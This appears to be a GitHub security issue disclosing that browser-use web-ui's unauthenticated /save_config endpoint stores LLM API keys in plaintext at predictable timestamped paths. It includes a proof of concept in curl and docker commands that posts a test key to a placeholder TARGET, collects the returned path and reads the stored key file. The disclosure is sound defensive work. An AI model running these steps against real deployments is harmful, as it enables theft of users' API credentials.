#736·web-ui

Unauthenticated LLM API Key Plaintext Persistence via save_config

Author: geo-chenCreated Jul 5, 2026Updated Jul 5, 2026

reported on 2 June 2026 https://github.com/browser-use/web-ui/security/advisories/GHSA-f7h6-rcrp-6c3j - no response.

Summary

The web-ui application exposes a Gradio API endpoint (/save_config) that requires no authentication and accepts LLM provider API keys as part of its input. These keys are written verbatim to a JSON file on the server at a predictable, timestamp-based path (./tmp/webui_settings/YYYYMMDD-HHMMSS.json). The file path is returned to the caller in the response. Any network-accessible user can call this endpoint and retrieve the file path; in deployments where the settings directory is accessible (mounted volumes, shared filesystems, or physical host access), the stored keys can be read in plaintext.

Details

The save_config function in src/webui/webui_manager.py receives all Gradio UI component values, including the LLM API Key field (component ID 26, agent_settings.llm_api_key), and writes them to a JSON file without any sanitization or encryption:

python
# src/webui/webui_manager.py lines 80-95
def save_config(self, components: Dict["Component", str]) -> None:
    cur_settings = {}
    for comp in components:
        if not isinstance(comp, gr.Button) and not isinstance(comp, gr.File) and str(
                getattr(comp, "interactive", True)).lower() != "false":
            comp_id = self.get_id_by_component(comp)
            cur_settings[comp_id] = components[comp]

    config_name = datetime.now().strftime("%Y%m%d-%H%M%S")
    with open(os.path.join(self.settings_save_dir, f"{config_name}.json"), "w") as fw:
        json.dump(cur_settings, fw, indent=4)

    return os.path.join(self.settings_save_dir, f"{config_name}.json")

The resulting JSON file contains the key in plaintext under agent_settings.llm_api_key. The file path is returned as the function's return value, which Gradio places in the Status textbox visible to the caller.

The application launches with no authentication by default:

python
# webui.py line 15
demo.queue().launch(server_name=args.ip, server_port=args.port)

The launch() call has no auth= parameter. The Gradio /config endpoint confirms auth_required: null. All 20 named API endpoints are reachable without credentials.

The file naming uses only a wall-clock timestamp (%Y%m%d-%H%M%S), making it predictable to the second. Files are created with mode 644 (world-readable within the container). In Docker deployments using bind mounts or shared volumes, these files are accessible to host users and other containers.

PoC

Prerequisites: web-ui running at http://TARGET:7788 (default port), no authentication configured (the default).

Step 1. Call save_config with an API key via the Gradio queue API:

bash
curl -s -X POST "http://TARGET:7788/gradio_api/queue/join" \
  -H "Content-Type: application/json" \
  -d '{
    "data": ["","",null,"","openai","gpt-4o",0.6,true,16000,"","sk-SUPERSECRET-TESTKEY-abc123",
             null,null,0.6,false,16000,"","",100,10,128000,"auto","","",false,true,false,false,
             1280,1100,"","","","","./tmp/agent_history","./tmp/downloads",[],"",
             "Stop","Pause","Clear","Submit","<div></div>",null,null,null,"","","",1,
             "./tmp/deep_research","Stop","Run","",null,null,"Load Config","Save UI Settings",""],
    "fn_index": 17,
    "session_hash": "poc_session_001"
  }'

Step 2. Collect the result from the SSE stream:

bash
curl -s "http://TARGET:7788/gradio_api/queue/data?session_hash=poc_session_001"

Expected output (SSE event):

data: {"msg":"process_completed","output":{"data":["./tmp/webui_settings/20260602-023419.json"]}}

Step 3. The returned path reveals the API key storage location. On the host:

bash
docker exec CONTAINER cat /app/tmp/webui_settings/20260602-023419.json

Output:

json
{
    "agent_settings.llm_provider": "openai",
    "agent_settings.llm_api_key": "sk-SUPERSECRET-TESTKEY-abc123",
    ...
}

Confirmed live on commit 61962296, Gradio 5.27.0, container running as root (uid=0).

Impact

An attacker with network access to the web-ui service can:

  1. Enumerate saved configuration files by guessing timestamp-based filenames (predictable to the second).
  2. Retrieve LLM API keys in cleartext from those files if they have container or volume access.
  3. In shared deployments (team use, cloud-hosted), observe the returned file path from their own save_config call and correlate with administrator-saved configs saved at known times.

The default deployment has no authentication and no rate limiting. The container runs as root (uid=0), so the stored files are created and owned by root.